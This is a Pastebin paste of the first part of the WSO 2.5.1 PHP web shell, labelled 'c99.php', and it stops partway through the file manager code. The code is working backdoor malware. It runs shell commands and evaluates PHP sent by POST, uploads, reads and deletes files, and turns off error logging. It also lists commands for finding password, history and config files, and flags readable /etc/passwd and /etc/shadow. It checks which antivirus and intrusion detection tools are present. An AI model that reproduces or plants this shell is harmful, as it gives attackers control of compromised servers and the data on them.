Sweetening

c99.php

May 11th, 2024
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 66.41 KB | None | 0 0
  1. <?php
  2.  
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @set_time_limit(0);
  11. @set_magic_quotes_runtime(0);
  12. @define('WSO_VERSION', '2.5.1');
  13.  
  14.  
  15. if(get_magic_quotes_gpc()) {
  16. function WSOstripslashes($array) {
  17. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  18. }
  19. $_POST = WSOstripslashes($_POST);
  20. $_COOKIE = WSOstripslashes($_COOKIE);
  21. }
  22.  
  23. function wsoLogin() {
  24. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  25. }
  26.  
  27. function WSOsetcookie($k, $v) {
  28. $_COOKIE[$k] = $v;
  29. setcookie($k, $v);
  30. }
  31.  
  32. if(!empty($auth_pass)) {
  33. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  34. WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  35.  
  36. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  37. wsoLogin();
  38. }
  39.  
  40. if(strtolower(substr(PHP_OS,0,3)) == "win")
  41. $os = 'win';
  42. else
  43. $os = 'nix';
  44.  
  45. $safe_mode = @ini_get('safe_mode');
  46. if(!$safe_mode)
  47. error_reporting(0);
  48.  
  49. $disable_functions = @ini_get('disable_functions');
  50. $home_cwd = @getcwd();
  51. if(isset($_POST['c']))
  52. @chdir($_POST['c']);
  53. $cwd = @getcwd();
  54. if($os == 'win') {
  55. $home_cwd = str_replace("\\", "/", $home_cwd);
  56. $cwd = str_replace("\\", "/", $cwd);
  57. }
  58. if($cwd[strlen($cwd)-1] != '/')
  59. $cwd .= '/';
  60.  
  61. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  62. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  63.  
  64. if($os == 'win')
  65. $aliases = array(
  66. "List Directory" => "dir",
  67. "Find index.php in current dir" => "dir /s /w /b index.php",
  68. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  69. "Show active connections" => "netstat -an",
  70. "Show running services" => "net start",
  71. "User accounts" => "net user",
  72. "Show computers" => "net view",
  73. "ARP Table" => "arp -a",
  74. "IP Configuration" => "ipconfig /all"
  75. );
  76. else
  77. $aliases = array(
  78. "List dir" => "ls -lha",
  79. "list file attributes on a Linux second extended file system" => "lsattr -va",
  80. "show opened ports" => "netstat -an | grep -i listen",
  81. "process status" => "ps aux",
  82. "Find" => "",
  83. "find suid" => "find / -type f -perm -04000 -ls",
  84. "find suid in current dir" => "find . -type f -perm -04000 -ls",
  85. "find sgid" => "find / -type f -perm -02000 -ls",
  86. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  87. "find config.inc.php" => "find / -type f -name config.inc.php",
  88. "find config*" => "find / -type f -name \"config*\"",
  89. "find config* in current dir" => "find . -type f -name \"config*\"",
  90. "find writable folders and files" => "find / -perm -2 -ls",
  91. "find writable folders and files in current dir" => "find . -perm -2 -ls",
  92. "find service.pwd" => "find / -type f -name service.pwd",
  93. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  94. "find .htpasswd" => "find / -type f -name .htpasswd",
  95. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  96. "find .bash_history" => "find / -type f -name .bash_history",
  97. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  98. "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
  99. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  100. "Locate" => "",
  101. "locate httpd.conf" => "locate httpd.conf",
  102. "locate vhosts.conf" => "locate vhosts.conf",
  103. "locate proftpd.conf" => "locate proftpd.conf",
  104. "locate psybnc.conf" => "locate psybnc.conf",
  105. "locate my.conf" => "locate my.conf",
  106. "locate admin.php" =>"locate admin.php",
  107. "locate cfg.php" => "locate cfg.php",
  108. "locate conf.php" => "locate conf.php",
  109. "locate config.dat" => "locate config.dat",
  110. "locate config.php" => "locate config.php",
  111. "locate config.inc" => "locate config.inc",
  112. "locate config.inc.php" => "locate config.inc.php",
  113. "locate config.default.php" => "locate config.default.php",
  114. "locate config*" => "locate config",
  115. "locate .conf"=>"locate '.conf'",
  116. "locate .pwd" => "locate '.pwd'",
  117. "locate .sql" => "locate '.sql'",
  118. "locate .htpasswd" => "locate '.htpasswd'",
  119. "locate .bash_history" => "locate '.bash_history'",
  120. "locate .mysql_history" => "locate '.mysql_history'",
  121. "locate .fetchmailrc" => "locate '.fetchmailrc'",
  122. "locate backup" => "locate backup",
  123. "locate dump" => "locate dump",
  124. "locate priv" => "locate priv"
  125. );
  126.  
  127. function wsoHeader() {
  128. if(empty($_POST['charset']))
  129. $_POST['charset'] = $GLOBALS['default_charset'];
  130. global $color;
  131. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  132. <style>
  133. body{background-color:#444;color:#e1e1e1;}
  134. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  135. table.info{ color:#fff;background-color:#222; }
  136. span,h1,a{ color: $color !important; }
  137. span{ font-weight: bolder; }
  138. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  139. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  140. a{ text-decoration:none; }
  141. a:hover{ text-decoration:underline; }
  142. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  143. .bigarea{ width:100%;height:300px; }
  144. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  145. form{ margin:0px; }
  146. #toolsTbl{ text-align:center; }
  147. .toolsInp{ width: 300px }
  148. .main th{text-align:left;background-color:#5e5e5e;}
  149. .main tr:hover{background-color:#5e5e5e}
  150. .l1{background-color:#444}
  151. .l2{background-color:#333}
  152. pre{font-family:Courier,Monospace;}
  153. </style>
  154. <script>
  155. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  156. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  157. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  158. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  159. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  160. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  161. var d = document;
  162. function set(a,c,p1,p2,p3,charset) {
  163. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  164. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  165. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  166. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  167. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  168. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  169. }
  170. function g(a,c,p1,p2,p3,charset) {
  171. set(a,c,p1,p2,p3,charset);
  172. d.mf.submit();
  173. }
  174. function a(a,c,p1,p2,p3,charset) {
  175. set(a,c,p1,p2,p3,charset);
  176. var params = 'ajax=true';
  177. for(i=0;i<d.mf.elements.length;i++)
  178. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  179. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  180. }
  181. function sr(url, params) {
  182. if (window.XMLHttpRequest)
  183. req = new XMLHttpRequest();
  184. else if (window.ActiveXObject)
  185. req = new ActiveXObject('Microsoft.XMLHTTP');
  186. if (req) {
  187. req.onreadystatechange = processReqChange;
  188. req.open('POST', url, true);
  189. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  190. req.send(params);
  191. }
  192. }
  193. function processReqChange() {
  194. if( (req.readyState == 4) )
  195. if(req.status == 200) {
  196. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  197. var arr=reg.exec(req.responseText);
  198. eval(arr[2].substr(0, arr[1]));
  199. } else alert('Request error!');
  200. }
  201. </script>
  202. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  203. <form method=post name=mf style='display:none;'>
  204. <input type=hidden name=a>
  205. <input type=hidden name=c>
  206. <input type=hidden name=p1>
  207. <input type=hidden name=p2>
  208. <input type=hidden name=p3>
  209. <input type=hidden name=charset>
  210. </form>";
  211. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  212. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  213. $totalSpace = $totalSpace?$totalSpace:1;
  214. $release = @php_uname('r');
  215. $kernel = @php_uname('s');
  216. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  217. if(strpos('Linux', $kernel) !== false)
  218. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  219. else
  220. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  221. if(!function_exists('posix_getegid')) {
  222. $user = @get_current_user();
  223. $uid = @getmyuid();
  224. $gid = @getmygid();
  225. $group = "?";
  226. } else {
  227. $uid = @posix_getpwuid(posix_geteuid());
  228. $gid = @posix_getgrgid(posix_getegid());
  229. $user = $uid['name'];
  230. $uid = $uid['uid'];
  231. $group = $gid['name'];
  232. $gid = $gid['gid'];
  233. }
  234.  
  235. $cwd_links = '';
  236. $path = explode("/", $GLOBALS['cwd']);
  237. $n=count($path);
  238. for($i=0; $i<$n-1; $i++) {
  239. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  240. for($j=0; $j<=$i; $j++)
  241. $cwd_links .= $path[$j].'/';
  242. $cwd_links .= "\")'>".$path[$i]."/</a>";
  243. }
  244.  
  245. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  246. $opt_charsets = '';
  247. foreach($charsets as $item)
  248. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  249.  
  250. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  251. if(!empty($GLOBALS['auth_pass']))
  252. $m['Logout'] = 'Logout';
  253. $m['Self remove'] = 'SelfRemove';
  254. $menu = '';
  255. foreach($m as $k => $v)
  256. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  257.  
  258. $drives = "";
  259. if($GLOBALS['os'] == 'win') {
  260. foreach(range('c','z') as $drive)
  261. if(is_dir($drive.':\\'))
  262. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  263. }
  264. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  265. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  266. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  267. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  268. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  269. }
  270.  
  271. function wsoFooter() {
  272. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  273. echo "
  274. </div>
  275. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  276. <tr>
  277. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  278. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  279. </tr><tr>
  280. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  281. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  282. </tr><tr>
  283. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  284. <td><form method='post' ENCTYPE='multipart/form-data'>
  285. <input type=hidden name=a value='FilesMAn'>
  286. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  287. <input type=hidden name=p1 value='uploadFile'>
  288. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  289. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  290. </tr></table></div></body></html>";
  291. }
  292.  
  293. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  294. function posix_getpwuid($p) {return false;} }
  295. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  296. function posix_getgrgid($p) {return false;} }
  297.  
  298. function wsoEx($in) {
  299. $out = '';
  300. if (function_exists('exec')) {
  301. @exec($in,$out);
  302. $out = @join("\n",$out);
  303. } elseif (function_exists('passthru')) {
  304. ob_start();
  305. @passthru($in);
  306. $out = ob_get_clean();
  307. } elseif (function_exists('system')) {
  308. ob_start();
  309. @system($in);
  310. $out = ob_get_clean();
  311. } elseif (function_exists('shell_exec')) {
  312. $out = shell_exec($in);
  313. } elseif (is_resource($f = @popen($in,"r"))) {
  314. $out = "";
  315. while(!@feof($f))
  316. $out .= fread($f,1024);
  317. pclose($f);
  318. }
  319. return $out;
  320. }
  321.  
  322. function wsoViewSize($s) {
  323. if (is_int($s))
  324. $s = sprintf("%u", $s);
  325.  
  326. if($s >= 1073741824)
  327. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  328. elseif($s >= 1048576)
  329. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  330. elseif($s >= 1024)
  331. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  332. else
  333. return $s . ' B';
  334. }
  335.  
  336. function wsoPerms($p) {
  337. if (($p & 0xC000) == 0xC000)$i = 's';
  338. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  339. elseif (($p & 0x8000) == 0x8000)$i = '-';
  340. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  341. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  342. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  343. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  344. else $i = 'u';
  345. $i .= (($p & 0x0100) ? 'r' : '-');
  346. $i .= (($p & 0x0080) ? 'w' : '-');
  347. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  348. $i .= (($p & 0x0020) ? 'r' : '-');
  349. $i .= (($p & 0x0010) ? 'w' : '-');
  350. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  351. $i .= (($p & 0x0004) ? 'r' : '-');
  352. $i .= (($p & 0x0002) ? 'w' : '-');
  353. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  354. return $i;
  355. }
  356.  
  357. function wsoPermsColor($f) {
  358. if (!@is_readable($f))
  359. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  360. elseif (!@is_writable($f))
  361. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  362. else
  363. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  364. }
  365.  
  366. function wsoScandir($dir) {
  367. if(function_exists("scandir")) {
  368. return scandir($dir);
  369. } else {
  370. $dh = opendir($dir);
  371. while (false !== ($filename = readdir($dh)))
  372. $files[] = $filename;
  373. return $files;
  374. }
  375. }
  376.  
  377. function wsoWhich($p) {
  378. $path = wsoEx('which ' . $p);
  379. if(!empty($path))
  380. return $path;
  381. return false;
  382. }
  383.  
  384. function actionSecInfo() {
  385. wsoHeader();
  386. echo '<h1>Server security information</h1><div class=content>';
  387. function wsoSecParam($n, $v) {
  388. $v = trim($v);
  389. if($v) {
  390. echo '<span>' . $n . ': </span>';
  391. if(strpos($v, "\n") === false)
  392. echo $v . '<br>';
  393. else
  394. echo '<pre class=ml1>' . $v . '</pre>';
  395. }
  396. }
  397.  
  398. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  399. if(function_exists('apache_get_modules'))
  400. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  401. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  402. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  403. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  404. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  405. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  406. $temp=array();
  407. if(function_exists('mysql_get_client_info'))
  408. $temp[] = "MySql (".mysql_get_client_info().")";
  409. if(function_exists('mssql_connect'))
  410. $temp[] = "MSSQL";
  411. if(function_exists('pg_connect'))
  412. $temp[] = "PostgreSQL";
  413. if(function_exists('oci_connect'))
  414. $temp[] = "Oracle";
  415. wsoSecParam('Supported databases', implode(', ', $temp));
  416. echo '<br>';
  417.  
  418. if($GLOBALS['os'] == 'nix') {
  419. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  420. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  421. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  422. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  423. if(!$GLOBALS['safe_mode']) {
  424. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  425. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  426. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  427. echo '<br>';
  428. $temp=array();
  429. foreach ($userful as $item)
  430. if(wsoWhich($item))
  431. $temp[] = $item;
  432. wsoSecParam('Userful', implode(', ',$temp));
  433. $temp=array();
  434. foreach ($danger as $item)
  435. if(wsoWhich($item))
  436. $temp[] = $item;
  437. wsoSecParam('Danger', implode(', ',$temp));
  438. $temp=array();
  439. foreach ($downloaders as $item)
  440. if(wsoWhich($item))
  441. $temp[] = $item;
  442. wsoSecParam('Downloaders', implode(', ',$temp));
  443. echo '<br/>';
  444. wsoSecParam('HDD space', wsoEx('df -h'));
  445. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  446. echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  447. if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  448. $temp = "";
  449. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  450. $uid = @posix_getpwuid($_POST['p2']);
  451. if ($uid)
  452. $temp .= join(':',$uid)."\n";
  453. }
  454. echo '<br/>';
  455. wsoSecParam('Users', $temp);
  456. }
  457. }
  458. } else {
  459. wsoSecParam('OS Version',wsoEx('ver'));
  460. wsoSecParam('Account Settings',wsoEx('net accounts'));
  461. wsoSecParam('User Accounts',wsoEx('net user'));
  462. }
  463. echo '</div>';
  464. wsoFooter();
  465. }
  466.  
  467. function actionPhp() {
  468. if(isset($_POST['ajax'])) {
  469. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  470. ob_start();
  471. eval($_POST['p1']);
  472. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  473. echo strlen($temp), "\n", $temp;
  474. exit;
  475. }
  476. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  477. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  478.  
  479. wsoHeader();
  480. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  481. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  482. ob_start();
  483. phpinfo();
  484. $tmp = ob_get_clean();
  485. $tmp = preg_replace(array (
  486. '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  487. '!td, th {(.*)}!msiU',
  488. '!<img[^>]+>!msiU',
  489. ), array (
  490. '',
  491. '.e, .v, .h, .h th {$1}',
  492. ''
  493. ), $tmp);
  494. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  495. }
  496. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  497. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  498. if(!empty($_POST['p1'])) {
  499. ob_start();
  500. eval($_POST['p1']);
  501. echo htmlspecialchars(ob_get_clean());
  502. }
  503. echo '</pre></div>';
  504. wsoFooter();
  505. }
  506.  
  507. function actionFilesMan() {
  508. if (!empty ($_COOKIE['f']))
  509. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  510.  
  511. if(!empty($_POST['p1'])) {
  512. switch($_POST['p1']) {
  513. case 'uploadFile':
  514. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  515. echo "Can't upload!";
  516. break;
  517. case 'mkdir':
  518. if(!@mkdir($_POST['p2']))
  519. echo "Can't create!";
  520. break;
  521. case 'delete':
  522. function deleteDir($path) {
  523. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  524. $dh = opendir($path);
  525. while ( ($item = readdir($dh) ) !== false) {
  526. $item = $path.$item;
  527. if ( (basename($item) == "..") || (basename($item) == ".") )
  528. continue;
  529. $type = filetype($item);
  530. if ($type == "dir")
  531. deleteDir($item);
  532. else
  533. @unlink($item);
  534. }
  535. closedir($dh);
  536. @rmdir($path);
  537. }
  538. if(is_array(@$_POST['f']))
  539. foreach($_POST['f'] as $f) {
  540. if($f == '..')
  541. continue;
  542. $f = urldecode($f);
  543. if(is_dir($f))
  544. deleteDir($f);
  545. else
  546. @unlink($f);
  547. }
  548. break;
  549. case 'paste':
  550. if($_COOKIE['act'] == 'copy') {
  551. function copy_paste($c,$s,$d){
  552. if(is_dir($c.$s)){
  553. mkdir($d.$s);
  554. $h = @opendir($c.$s);
  555. while (($f = @readdir($h)) !== false)
  556. if (($f != ".") and ($f != ".."))
  557. copy_paste($c.$s.'/',$f, $d.$s.'/');
  558. } elseif(is_file($c.$s))
  559. @copy($c.$s, $d.$s);
  560. }
  561. foreach($_COOKIE['f'] as $f)
  562. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  563. } elseif($_COOKIE['act'] == 'move') {
  564. function move_paste($c,$s,$d){
  565. if(is_dir($c.$s)){
  566. mkdir($d.$s);
  567. $h = @opendir($c.$s);
  568. while (($f = @readdir($h)) !== false)
  569. if (($f != ".") and ($f != ".."))
  570. copy_paste($c.$s.'/',$f, $d.$s.'/');
  571. } elseif(@is_file($c.$s))
  572. @copy($c.$s, $d.$s);
  573. }
  574. foreach($_COOKIE['f'] as $f)
  575. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  576. } elseif($_COOKIE['act'] == 'zip') {
  577. if(class_exists('ZipArchive')) {
  578. $zip = new ZipArchive();
  579. if ($zip->open($_POST['p2'], 1)) {
  580. chdir($_COOKIE['c']);
  581. foreach($_COOKIE['f'] as $f) {
  582. if($f == '..')
  583. continue;
  584. if(@is_file($_COOKIE['c'].$f))
  585. $zip->addFile($_COOKIE['c'].$f, $f);
  586. elseif(@is_dir($_COOKIE['c'].$f)) {
  587. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  588. foreach ($iterator as $key=>$value) {
  589. $zip->addFile(realpath($key), $key);
  590. }
  591. }
  592. }
  593. chdir($GLOBALS['cwd']);
  594. $zip->close();
  595. }
  596. }
  597. } elseif($_COOKIE['act'] == 'unzip') {
  598. if(class_exists('ZipArchive')) {
  599. $zip = new ZipArchive();
  600. foreach($_COOKIE['f'] as $f) {
  601. if($zip->open($_COOKIE['c'].$f)) {
  602. $zip->extractTo($GLOBALS['cwd']);
  603. $zip->close();
  604. }
  605. }
  606. }
  607. } elseif($_COOKIE['act'] == 'tar') {
  608. chdir($_COOKIE['c']);
  609. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  610. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  611. chdir($GLOBALS['cwd']);
  612. }
  613. unset($_COOKIE['f']);
  614. setcookie('f', '', time() - 3600);
  615. break;
  616. default:
  617. if(!empty($_POST['p1'])) {
  618. WSOsetcookie('act', $_POST['p1']);
  619. WSOsetcookie('f', serialize(@$_POST['f']));
  620. WSOsetcookie('c', @$_POST['c']);
  621. }
  622. break;
  623. }
  624. }
  625. wsoHeader();
  626. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  627. $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  628. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  629. global $sort;
  630. $sort = array('name', 1);
  631. if(!empty($_POST['p1'])) {
  632. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  633. $sort = array($match[1], (int)$match[2]);
  634. }
  635. echo "<script>
  636. function sa() {
  637. for(i=0;i<d.files.elements.length;i++)
  638. if(d.files.elements[i].type == 'checkbox')
  639. d.files.elements[i].checked = d.files.elements[0].checked;
  640. }
  641. </script>
  642. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  643. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  644. $dirs = $files = array();
  645. $n = count($dirContent);
  646. for($i=0;$i<$n;$i++) {
